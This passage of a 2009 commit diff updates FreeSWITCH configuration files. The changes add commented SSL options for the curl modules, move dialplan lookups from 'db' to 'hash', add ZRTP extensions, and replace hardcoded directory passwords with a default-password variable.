Modified: freeswitch/branches/seven/conf/autoload_configs/voicemail.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/voicemail.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/voicemail.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,11 +9,13 @@
       <param name="digit-timeout" value="10000"/>
       <param name="min-record-len" value="3"/>
       <param name="max-record-len" value="300"/>
+      <param name="max-retries" value="3"/>
       <param name="tone-spec" value="%(1000, 0, 640)"/>
       <param name="callback-dialplan" value="XML"/>
       <param name="callback-context" value="default"/>
       <param name="play-new-messages-key" value="1"/>
       <param name="play-saved-messages-key" value="2"/>
+      <param name="login-keys" value="0"/>
       <param name="main-menu-key" value="0"/>
       <param name="config-menu-key" value="5"/>
       <param name="record-greeting-key" value="1"/>
@@ -31,6 +33,9 @@
       <param name="ff-key" value="6"/>
       <param name="rew-key" value="4"/>
       <param name="skip-greet-key" value="#"/>
+      <!--<param name="previous-message-key" value=""/>-->
+      <!--<param name="next-message-key" value=""/>-->
+      <!--<param name="skip-info-key" value=""/>-->
       <param name="record-silence-threshold" value="200"/>
       <param name="record-silence-hits" value="2"/>
       <param name="web-template-file" value="web-vm.tpl"/>

Modified: freeswitch/branches/seven/conf/autoload_configs/xml_cdr.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/xml_cdr.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/xml_cdr.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,9 +34,32 @@
     <!-- either an absolute path, a relative path assuming ${prefix}/logs or a blank or omitted value will default to ${prefix}/logs/xml_cdr -->
     <!-- <param name="err-log-dir" value="/tmp"/> -->
 
-    <!-- optional: if enabled this will disable CA root certificate checks by libcurl -->
-    <!-- note: default value is disabled. only enable if you want this! -->
-    <!-- <param name="ignore-cacert-check" value="true" /> -->
+    <!-- optional: this will enable the CA root certificate check by libcurl to
+         verify that the certificate was issued by a major Certificate Authority.
+         note: default value is disabled. only enable if you want this! -->
+    <!--<param name="enable-cacert-check" value="true"/>-->
+    <!-- optional: verify that the server is actually the one listed in the cert -->
+    <!-- <param name="enable-ssl-verifyhost" value="true"/> -->
 
+    <!-- optional: these options can be used to specify custom SSL certificates
+         to use for HTTPS communications. Either use both options or neither.
+         Specify your public key with 'ssl-cert-path' and the private key with
+         'ssl-key-path'. If your private key has a password, specify it with
+         'ssl-key-password'. -->
+    <!-- <param name="ssl-cert-path" value="$${base_dir}/conf/certs/public_key.pem"/> -->
+    <!-- <param name="ssl-key-path" value="$${base_dir}/conf/certs/private_key.pem"/> -->
+    <!-- <param name="ssl-key-password" value="MyPrivateKeyPassword"/> -->
+
+    <!-- optional: use a custom CA certificate in PEM format to verify the peer
+         with. This is useful if you are acting as your own certificate authority.
+         note: only makes sense if used in combination with "enable-cacert-check." -->
+    <!-- <param name="ssl-cacert-file" value="$${base_dir}/conf/certs/cacert.pem"/> -->
+
+    <!-- optional: specify the SSL version to force HTTPS to use. Valid options are
+         "SSLv3" and "TLSv1". Otherwise libcurl will auto-negotiate the version. -->
+    <!-- <param name="ssl-version" value="TLSv1"/> -->
+
+    <!-- optional: enables cookies and stores them in the specified file. -->
+    <!-- <param name="cookie-file" value="/tmp/cookie-mod_xml_curl.txt"/> -->
   </settings>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/xml_curl.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/xml_curl.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/xml_curl.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,9 +11,34 @@
       <!-- set to true to disable Expect: 100-continue lighttpd requires this setting -->
       <!--<param name="disable-100-continue" value="true"/>-->
 
-      <!-- optional: if enabled this will disable CA root certificate checks by libcurl -->
-      <!-- note: default value is disabled. only enable if you want this! -->
-      <!-- <param name="ignore-cacert-check" value="true" /> -->
+      <!-- optional: this will enable the CA root certificate check by libcurl to
+           verify that the certificate was issued by a major Certificate Authority.
+           note: default value is disabled. only enable if you want this! -->
+      <!--<param name="enable-cacert-check" value="true"/>-->
+      <!-- optional: verify that the server is actually the one listed in the cert -->
+      <!-- <param name="enable-ssl-verifyhost" value="true"/> -->
+
+      <!-- optional: these options can be used to specify custom SSL certificates
+           to use for HTTPS communications. Either use both options or neither.
+           Specify your public key with 'ssl-cert-path' and the private key with
+           'ssl-key-path'. If your private key has a password, specify it with
+           'ssl-key-password'. -->
+      <!-- <param name="ssl-cert-path" value="$${base_dir}/conf/certs/public_key.pem"/> -->
+      <!-- <param name="ssl-key-path" value="$${base_dir}/conf/certs/private_key.pem"/> -->
+      <!-- <param name="ssl-key-password" value="MyPrivateKeyPassword"/> -->
+
+      <!-- optional: use a custom CA certificate in PEM format to verify the peer
+           with. This is useful if you are acting as your own certificate authority.
+           note: only makes sense if used in combination with "enable-cacert-check." -->
+      <!-- <param name="ssl-cacert-file" value="$${base_dir}/conf/certs/cacert.pem"/> -->
+
+      <!-- optional: specify the SSL version to force HTTPS to use. Valid options are
+           "SSLv3" and "TLSv1". Otherwise libcurl will auto-negotiate the version. -->
+      <!-- <param name="ssl-version" value="TLSv1"/> -->
+
+      <!-- optional: enables cookies and stores them in the specified file. -->
+      <!-- <param name="cookie-file" value="/tmp/cookie-mod_xml_curl.txt"/> -->
+
       <!-- one or more of these imply you want to pick the exact variables that are transmitted -->
       <!--<param name="enable-post-var" value="Unique-ID"/>-->
     </binding>

Modified: freeswitch/branches/seven/conf/dialplan/default.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/dialplan/default.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/dialplan/default.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
     NOTICE:
     
@@ -8,46 +9,36 @@
     they can access.  You can also add a user in the directory with the cidr= attribute acl.conf.xml
     will build the domains acl using this value.
 -->
-
-<?xml version="1.0" encoding="utf-8"?>
 <!-- http://wiki.freeswitch.org/wiki/Dialplan_XML -->
 <include>
   <context name="default">
 
     <extension name="unloop">
-      <condition field="$${unroll_loops}" expression="^true$"/>
+      <condition field="${unroll_loops}" expression="^true$"/>
       <condition field="${sip_looped_call}" expression="^true$">
 	<action application="deflect" data="${destination_number}"/>
       </condition>
     </extension>
-    
-    <!--
-	Try to get the domain from the sip_auth_realm otherwise it will
-	default domain in vars.xml for cases it can't figure it out.
 
+    <!-- Example of doing things based on time of day. 
+
+	 year = 4 digit year. Example year="2009"
+	 yday = 1-365
+	 mon = 1-12
+	 mday = 1-31
+	 week = 1-52
+	 wday = 1-7
+	 hour = 0-23
+	 minute = 0-59
+	 minute-of-day = 1-1440
+	 
+	 Example:
+	 <condition minute-of-day="540-1080"> (9am to 6pm EVERY day)
+	 do something ...
+	 </condition>
     -->
-    <extension name="set_domain" continue="true">
-      <condition field="${domain_name}" expression="^$"/>
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="${sip_auth_realm}" expression="^$">
-	<action application="set" data="domain_name=$${domain}"/>
-	<anti-action application="set" data="domain_name=${sip_auth_realm}"/>
-      </condition>
-    </extension>
-
-    <!-- Set the domain -->
-    <extension name="set_domain_openzap" continue="true">
-      <condition field="${domain_name}" expression="^$"/>
-      <condition field="source" expression="mod_openzap">
-	<action application="set" data="domain_name=$${domain}"/>
-      </condition>
-    </extension>
-
-    <!-- Example of doing things based on time of day. -->
     <extension name="tod_example" continue="true">
-      <!-- man strftime - M-F, 9AM to 6PM -->
-      <condition field="${strftime(%w)}" expression="^([1-5])$"/>
-      <condition field="${strftime(%H%M)}" expression="^((09|1[0-7])[0-5][0-9]|1800)$">
+      <condition wday="2-6" hour="9-18">
 	<action application="set" data="open=true"/>
       </condition>
     </extension>
@@ -55,7 +46,7 @@
     <extension name="global-intercept">
       <condition field="destination_number" expression="^886$">
 	<action application="answer"/>
-	<action application="intercept" data="${db(select/${domain_name}-last_dial/global)}"/>
+	<action application="intercept" data="${hash(select/${domain_name}-last_dial/global)}"/>
 	<action application="sleep" data="2000"/>
       </condition>
     </extension>
@@ -63,7 +54,7 @@
     <extension name="group-intercept">
       <condition field="destination_number" expression="^\*8$">
 	<action application="answer"/>
-	<action application="intercept" data="${db(select/${domain_name}-last_dial/${callgroup})}"/>
+	<action application="intercept" data="${hash(select/${domain_name}-last_dial/${callgroup})}"/>
 	<action application="sleep" data="2000"/>
       </condition>
     </extension>
@@ -71,26 +62,18 @@
     <extension name="intercept-ext">
       <condition field="destination_number" expression="^\*\*(\d+)$">
 	<action application="answer"/>
-	<action application="intercept" data="${db(select/${domain_name}-last_dial_ext/$1)}"/>
+	<action application="intercept" data="${hash(select/${domain_name}-last_dial_ext/$1)}"/>
 	<action application="sleep" data="2000"/>
       </condition>
     </extension>
 
     <extension name="redial">
       <condition field="destination_number" expression="^870$">
-	<action application="transfer" data="${db(select/${domain_name}-last_dial/${caller_id_number})}"/>
+	<action application="transfer" data="${hash(select/${domain_name}-last_dial/${caller_id_number})}"/>
       </condition>
     </extension>
 
     <extension name="global" continue="true">
-      <condition field="${network_addr}" expression="^$" break="never">
-	<action application="set" data="use_profile=${cond(${acl($${local_ip_v4} rfc1918)} == true ? nat : default)}"/>
-	<anti-action application="set" data="use_profile=${cond(${acl(${network_addr} rfc1918)} == true ? nat : default)}"/>
-      </condition>
-      <!-- This will setup some variables if the user isn't authenticated. -->
-      <condition field="${numbering_plan}" expression="^$" break="never">
-	<action application="set_user" data="default@${domain_name}"/>
-      </condition>
       <condition field="${call_debug}" expression="^true$" break="never">
 	<action application="info"/>
       </condition>
@@ -108,10 +91,11 @@
 	<!-- Offer SRTP on outbound legs if we have it on inbound. -->
 	<!-- <action application="export" data="sip_secure_media=true"/> -->
       </condition>
+
       <condition>
-	<action application="db" data="insert/${domain_name}-spymap/${caller_id_number}/${uuid}"/>
-	<action application="db" data="insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}"/>
-	<action application="db" data="insert/${domain_name}-last_dial/global/${uuid}"/>
+	<action application="hash" data="insert/${domain_name}-spymap/${caller_id_number}/${uuid}"/>
+	<action application="hash" data="insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}"/>
+	<action application="hash" data="insert/${domain_name}-last_dial/global/${uuid}"/>
       </condition>
     </extension>
 
@@ -147,7 +131,7 @@
     <extension name="eavesdrop">
       <condition field="destination_number" expression="^88(.*)$|^\*0(.*)$">
 	<action application="answer"/>
-	<action application="eavesdrop" data="${db(select/${domain_name}-spymap/$1)}"/>
+	<action application="eavesdrop" data="${hash(select/${domain_name}-spymap/$1)}"/>
       </condition>
     </extension>
 
@@ -163,7 +147,7 @@
 
     <extension name="call_return">
       <condition field="destination_number" expression="^\*69$|^869$|^lcr$">
-	<action application="transfer" data="${db(select/${domain_name}-call_return/${caller_id_number})}"/>
+	<action application="transfer" data="${hash(select/${domain_name}-call_return/${caller_id_number})}"/>
       </condition>
     </extension>
 
@@ -205,42 +189,34 @@
     </extension>
 
     <!-- 
-	 if the calling party is the called party, go to their VM
-	 if the calling party is NOT the called party dial the extension 
-	 (1000-1019) for 30 seconds and go to voicemail if the 
-	 call fails (continue_on_fail=true), otherwise hang up after a 
-	 successful bridge (hangup_after-bridge=true) 
+	 dial the extension (1000-1019) for 30 seconds and go to voicemail if the 
+	 call fails (continue_on_fail=true), otherwise hang up after a successful
+	 bridge (hangup_after-bridge=true) 
     -->
     <extension name="Local_Extension">
       <condition field="destination_number" expression="^(10[01][0-9])$">
 	<action application="set" data="dialed_extension=$1"/>
 	<action application="export" data="dialed_extension=$1"/>
-      </condition>
-      <condition field="destination_number" expression="^${caller_id_number}$">
-	<action application="set" data="voicemail_authorized=${sip_authorized}"/>
+	<!-- bind_meta_app can have these args <key> [a|b|ab] [a|b|o|s] <app> -->
+	<action application="bind_meta_app" data="1 b s execute_extension::dx XML features"/>
+	<action application="bind_meta_app" data="2 b s record_session::$${base_dir}/recordings/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav"/>
+	<action application="bind_meta_app" data="3 b s execute_extension::cf XML features"/>
+	<action application="set" data="ringback=${us-ring}"/>
+	<action application="set" data="transfer_ringback=$${hold_music}"/>
+	<action application="set" data="call_timeout=30"/>
+	<!-- <action application="set" data="sip_exclude_contact=${network_addr}"/> -->
+	<action application="set" data="hangup_after_bridge=true"/>
+	<!--<action application="set" data="continue_on_fail=NORMAL_TEMPORARY_FAILURE,USER_BUSY,NO_ANSWER,TIMEOUT,NO_ROUTE_DESTINATION"/> -->
+	<action application="set" data="continue_on_fail=true"/>
+	<action application="hash" data="insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}"/>
+	<action application="hash" data="insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}"/>
+	<action application="set" data="called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}"/>
+	<!--<action application="export" data="nolocal:sip_secure_media=${user_data(${dialed_extension}@${domain_name} var sip_secure_media)}"/>-->
+	<action application="hash" data="insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}"/>
+	<action application="bridge" data="user/${dialed_extension}@${domain_name}"/>
 	<action application="answer"/>
 	<action application="sleep" data="1000"/>
-	<action application="voicemail" data="check default ${domain_name} ${dialed_extension}"/>
-	<!-- bind_meta_app can have these args <key> [a|b|ab] [a|b|o|s] <app> -->
-	<anti-action application="bind_meta_app" data="1 b s execute_extension::dx XML features"/>
-	<anti-action application="bind_meta_app" data="2 b s record_session::$${base_dir}/recordings/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav"/>
-	<anti-action application="bind_meta_app" data="3 b s execute_extension::cf XML features"/>
-	<anti-action application="set" data="ringback=${us-ring}"/>
-	<anti-action application="set" data="transfer_ringback=$${hold_music}"/>
-	<anti-action application="set" data="call_timeout=30"/>
-	<!-- <anti-action application="set" data="sip_exclude_contact=${network_addr}"/> -->
-	<anti-action application="set" data="hangup_after_bridge=true"/>
-	<!--<anti-action application="set" data="continue_on_fail=NORMAL_TEMPORARY_FAILURE,USER_BUSY,NO_ANSWER,TIMEOUT,NO_ROUTE_DESTINATION"/> -->
-	<anti-action application="set" data="continue_on_fail=true"/>
-	<anti-action application="db" data="insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}"/>
-	<anti-action application="db" data="insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}"/>
-	<anti-action application="set" data="called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}"/>
-	<!--<anti-action application="export" data="nolocal:sip_secure_media=${user_data(${dialed_extension}@${domain_name} var sip_secure_media)}"/>-->
-	<anti-action application="db" data="insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}"/>
-	<anti-action application="bridge" data="user/${dialed_extension}@${domain_name}"/>
-	<anti-action application="answer"/>
-	<anti-action application="sleep" data="1000"/>
-	<anti-action application="voicemail" data="default ${domain_name} ${dialed_extension}"/>
+	<action application="voicemail" data="default ${domain_name} ${dialed_extension}"/>
       </condition>
     </extension>
 
@@ -264,7 +240,7 @@
 
     <!-- voicemail operator extension -->
     <extension name="operator">
-      <condition field="destination_number" expression="^operator$|^0$">
+      <condition field="destination_number" expression="^(operator|0)$">
 	<action application="set" data="transfer_ringback=$${hold_music}"/>
 	<action application="transfer" data="1000 XML features"/>
       </condition>
@@ -272,7 +248,7 @@
 
     <!-- voicemail main extension -->
     <extension name="vmain">
-      <condition field="destination_number" expression="^vmain|4000$">
+      <condition field="destination_number" expression="^vmain$|^4000$|^\*98$">
 	<action application="answer"/>
 	<action application="sleep" data="1000"/>
 	<action application="voicemail" data="check default ${domain_name}"/>  
@@ -321,6 +297,14 @@
     <extension name="freeswitch_public_conf_via_sip">
       <condition field="destination_number" expression="^9(888|1616|3232)$">
 	<action application="export" data="hold_music=silence"/>
+	<!-- 
+	     This will take the SAS from the b-leg and send it to the display on the a-leg phone.
+	     Known working with Polycom and Snom maybe others.
+	-->
+	<!--
+	<action application="set" data="exec_after_bridge_app=${sched_api(+4 zrtp expand uuid_display ${uuid} \${uuid_getvar(\${uuid_getvar(${uuid} signal_bond)} zrtp_sas1_string )}  \${uuid_getvar(\${uuid_getvar(${uuid} signal_bond)} zrtp_sas2_string )} )}"/>
+	<action application="export" data="nolocal:zrtp_secure_media=true"/>
+	-->
 	<action application="bridge" data="sofia/${use_profile}/$1@conference.freeswitch.org"/>
       </condition>
     </extension>
@@ -386,14 +370,14 @@
     </extension>
 
     <!-- Create a conference on the fly and pull someone in at the same time. --> 
-    <extension name="dyanmic conference">
+    <extension name="dynamic_conference">
       <condition field="destination_number" expression="^5001$">
 	<action application="conference" data="bridge:mydynaconf:sofia/${use_profile}/1234@conference.freeswitch.org"/>
       </condition>
     </extension>
 
     <extension name="rtp_multicast_page">
-      <condition field="destination_number" expression="^pagegroup$|^7243">
+      <condition field="destination_number" expression="^pagegroup$|^7243$">
 	<action application="answer"/>
 	<action application="esf_page_group"/>
       </condition>
@@ -560,6 +544,13 @@
       </condition>
     </extension>
 
+    <extension name="ClueCon">
+      <condition field="destination_number" expression="^9991$">
+        <action application="set" data="effective_caller_id_name=ClueCon"/>
+        <action application="bridge" data="sofia/$${domain}/brian@bkw.org"/>
+      </condition>
+    </extension>
+
     <extension name="show_info">
       <condition field="destination_number" expression="^9992$">
 	<action application="answer"/>
@@ -611,6 +602,14 @@
       </condition>
     </extension>
 
+    <!-- install zrtp_agent.lua into scripts (ZRTP == 9787) -->
+    <extension name="zrtp_enrollement">
+      <condition field="destination_number" expression="^9787$">
+	<action application="answer"/>
+	<action application="lua" data="zrtp_agent.lua"/>
+      </condition>
+    </extension>
+
     <!--
 	You will no longer hear the bong tone.  The wav file is playing stating the call is secure.
 	The file will not play unless you have both TLS and SRTP active.
@@ -622,7 +621,10 @@
 	<action application="answer"/>
 	<action application="execute_extension" data="is_secure XML features"/>
 	<action application="playback" data="$${hold_music}"/>
+	<anti-action application="set" data="zrtp_secure_media=true"/>
 	<anti-action application="answer"/>
+	<anti-action application="playback" data="silence_stream://2000"/>
+	<anti-action application="execute_extension" data="is_zrtp_secure XML features"/>
 	<anti-action application="playback" data="$${hold_music}"/>
       </condition>
     </extension>
@@ -642,9 +644,6 @@
     -->
 
     <!--
-	This is an example of how to override the RURI on an outgoing invite to a registered contact.
-    -->
-    <!--
     <extension name="refer">
       <condition field="${sip_refer_to}">
 	<expression><![CDATA[<sip:${destination_number}@${domain_name}>]]></expression>
@@ -657,7 +656,11 @@
 	<action application="bridge" data="sofia/${use_profile}/${refer_user}@${refer_domain}"/>
       </condition>
     </extension>
-
+    -->
+    <!--
+	This is an example of how to override the RURI on an outgoing invite to a registered contact.
+    -->
+    <!--
     <extension name="ruri">
       <condition field="destination_number" expression="^ruri$">
 	<action application="bridge" data="sofia/${ruri_profile}/${ruri_user}${regex(${sofia_contact(${ruri_contact})}|^[^\@]+(.*)|%1)}"/>

Modified: freeswitch/branches/seven/conf/dialplan/features.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/dialplan/features.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/dialplan/features.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,7 +37,15 @@
       </condition>
     </extension>
 
-    <extension name="is_secure">
+    <extension name="is_zrtp_secure" continue="true">
+      <condition field="${zrtp_secure_media_confirmed}" expression="^true$">
+	<action application="sleep" data="1000"/>
+	<action application="playback" data="misc/call_secured.wav"/>
+	<anti-action application="eval" data="not_secure"/>
+      </condition>
+    </extension>
+
+    <extension name="is_secure" continue="true">
       <!-- Only Truly consider it secure if its TLS and SRTP --> 
       <condition field="${sip_via_protocol}" expression="tls"/>
       <condition field="${sip_secure_media_confirmed}" expression="^true$">

Modified: freeswitch/branches/seven/conf/dialplan/public.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/dialplan/public.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/dialplan/public.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,7 +14,7 @@
   <context name="public">
 
     <extension name="unloop">
-      <condition field="$${unroll_loops}" expression="^true$"/>
+      <condition field="${unroll_loops}" expression="^true$"/>
       <condition field="${sip_looped_call}" expression="^true$">
 	<action application="deflect" data="${destination_number}"/>
       </condition>
@@ -36,17 +36,6 @@
       </condition>
     </extension>
 
-    <!-- Try to get domain_name from the sip_req_params variable -->
-    <extension name="set_domain" continue="true">
-      <condition field="${domain_name}" expression="^$"/>
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="${sip_req_params}" expression="domain_name=([A-Z-a-z0-9.]+)">
-	<!-- We need to export this so the B-Leg will have it after transfer too. -->
-	<action application="export" data="domain_name=$1"/>
-	<anti-action application="export" data="domain_name=${sip_req_host}"/>
-      </condition>
-    </extension>
-
     <extension name="public_extensions">
       <condition field="destination_number" expression="^(10[01][0-9])$">
 	<action application="transfer" data="$1 XML default"/>

Modified: freeswitch/branches/seven/conf/directory/default/1000.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1000.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1000.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1000" mailbox="1000">
+  <user id="1000">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1000"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1001.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1001.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1001.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1001" mailbox="1001">
+  <user id="1001">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1001"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1002.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1002.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1002.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1002" mailbox="1002">
+  <user id="1002">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1002"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1003.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1003.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1003.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1003" mailbox="1003">
+  <user id="1003">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1003"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1004.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1004.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1004.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1004" mailbox="1004">
+  <user id="1004">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1004"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1005.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1005.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1005.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1005" mailbox="1005">
+  <user id="1005">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1005"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1006.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1006.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1006.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1006" mailbox="1006">
+  <user id="1006">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1006"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1007.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1007.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1007.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1007" mailbox="1007">
+  <user id="1007">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1007"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1008.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1008.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1008.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1008" mailbox="1008">
+  <user id="1008">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1008"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1009.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1009.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1009.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1009" mailbox="1009">
+  <user id="1009">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1009"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1010.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1010.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1010.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1010" mailbox="1010">
+  <user id="1010">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1010"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1011.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1011.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1011.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1011" mailbox="1011">
+  <user id="1011">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1011"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1012.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1012.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1012.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1012" mailbox="1012">
+  <user id="1012">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1012"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1013.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1013.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1013.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1013" mailbox="1013">
+  <user id="1013">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1013"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1014.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1014.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1014.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1014" mailbox="1014">
+  <user id="1014">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1014"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1015.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1015.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1015.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1015" mailbox="1015">
+  <user id="1015">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1015"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1016.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1016.xml	2009-08-09 05:55:48 UTC (rev 14471)
